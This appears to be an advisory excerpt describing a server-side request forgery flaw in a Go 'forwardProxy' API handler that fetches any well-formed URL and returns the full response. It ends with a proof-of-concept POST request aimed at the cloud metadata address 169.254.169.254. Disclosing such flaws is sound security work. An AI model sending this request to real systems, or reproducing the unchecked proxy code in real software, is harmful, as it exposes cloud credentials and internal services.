func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    destURL := arg["url"].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = "invalid [url]"
        return
    }

    // ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}

POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'